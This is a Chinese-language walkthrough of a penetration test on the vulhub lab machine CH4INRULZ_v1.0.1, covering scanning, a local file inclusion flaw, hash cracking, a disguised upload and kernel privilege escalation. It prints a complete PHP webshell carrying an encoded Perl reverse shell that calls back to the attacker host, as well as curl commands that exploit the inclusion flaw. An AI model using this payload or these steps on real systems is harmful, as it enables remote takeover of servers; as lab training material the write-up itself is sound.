关于vulhub靶机CH4INRULZ_v1.0.1的渗透测试练习

image-20230622210550264

1.主机发现,同网段多了一个192.168.91.130,应该就是目标靶机

2.Ping一下靶机,可以连通,初步猜测目标靶机是Linux系统

image-20230622211057766

1.通过扫描端口发现四个开放端口,21端口上有一个ftp服务,初步猜测运行的应用软件是vsftpd2.3.5,并且允许匿名登录

2.在22端口上开放了ssh服务,初步猜测运行的软件是openssh5.9p1,服务器是Debian Ubuntu1.10,采用了DSA、RSA、ECDSA三种加密方式

3.80端口上开放了一个http服务器,初步猜测网站使用apache httpd 2.2.22服务器,网站名叫做 FRANK’s Website ,应该是个博客网站

4.8011也开放了一个http服务器,初步猜测网站使用apache httpd 2.2.22服务器

image-20230622212156831

发现匿名ftp登录后什么也做不了

image-20230622212610705

seebug和exploit db 都没有发现ftp相关版本的漏洞

image-20230622213625172

1.openssh发现由信息泄露和缓冲区溢出漏洞

2.发现用户名枚举、命令执行等漏洞

image-20230622214007571

1.测试发现可以进行爆破

192.168.91.130主机22端口的ssh服务存在用户名枚举漏洞,如果能够枚举用户名再用字典爆破账户得到密码就可以通过ssh登录主机,得到一个shell

image-20230622214849719

1.在exploit db里发现路径遍历、远程缓冲区溢出等问题

image-20230622215026127

1.发现WEB服务器为ApacheHTTPServer ,操作系统为Ubuntu等信息

可以通过路径遍历寻找一些有漏洞的页面,比如有文件包含的页面、访问一些配置文件拿到账户信息进行后台访问

image-20230622220606960

1.通过目录扫描得到四个目录

http://192.168.91.130/css/

http://192.168.91.130/img/

http://192.168.91.130/js/

http://192.168.91.130/vendor/

若干页面:

http://192.168.91.130/cgi-bin/

访问后除了develop页面有一个登录接口发现没有其他有用的信息

image-20230622222021984

image-20230622221738051

在8011端口下也发现一些页面

image-20230622222325156

1.发现提供了一些接口页面

image-20230622222402310

1.发现files_api.php好像可以读入文件

image-20230622222941693

1.确实可以读入文件

2.这里有一个frank账户名,而网站也是frank的个人博客,猜测之前登录页面用户名可以使用frank

image-20230622224049866

1.找到一个备份文件

image-20230622224405581

1.我们得到了一个明文账户名frank和加密后的密码 $apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0

2.我们可以用这个账户密码访问develop路径

image-20230622224647449

1.发现密码是一串hash值

没有好的彩虹表,使用工具看能不能破解:john pass.txt

image-20230622234057284

1.发现密码是弱口令 frank!!!

image-20230622225714532

1.成功访问develop页面,根据提示有一个uploader工具,猜测可能有文件上传漏洞

image-20230622225830732

1.发现可以上传图片

image-20230622230226873

1.检查源码发现一个提交页面

image-20230622230306268

1.发现只支持图片类型文件上传,猜测可以使用文件头欺骗或者合并文件上传一个反弹shell的木马

GIF98
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.91.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

image-20230623000504568

上传之后没有给出具体路径,根据反馈确实进行了文件头检测

想起之前有一个文件包含漏洞,根据打靶经验,或许可以使用base64编码导出这个上传页面的源码看看有没有隐藏信息

curl -X POST -d "file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php" "http://192.168.91.130:8011/api/files_api.php"

image-20230622232737020

1.发现文件保存在当前目录的”FRANKuploads/“路径下

image-20230623000538642

触发一下木马:

cur l-X POST -d

“file=/var/www/development/uploader/FRANKuploads/shell_nc.png” “http://192.168.91.130:8011/api/files_api.php

image-20230623000855003

得到shell

看一下能不能提权

image-20230623105618697

一句话提权之后再次提权发现之前的密码不对

uname -a =>

Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux

看看有无漏洞,(后渗透提权没还怎么深入学过,这里是参照网上博主的博客(146条消息) 靶机CH4INRULZ_v1.0.1_WuT0ng的博客-CSDN博客

image-20230623112053281

发现在2.6.36的版本中有一个提权漏洞,于是将对应的15285.c通过搭建本地服务器发送到靶机

image-20230623112240125

image-20230623112424506

1.进入tmp目录,因为其他目录没有写入文档的权限

2.下载文档

3.编译

4.发现有执行权限,不需要修改文件属性

5.执行文件,得到root权限

image-20230623112656399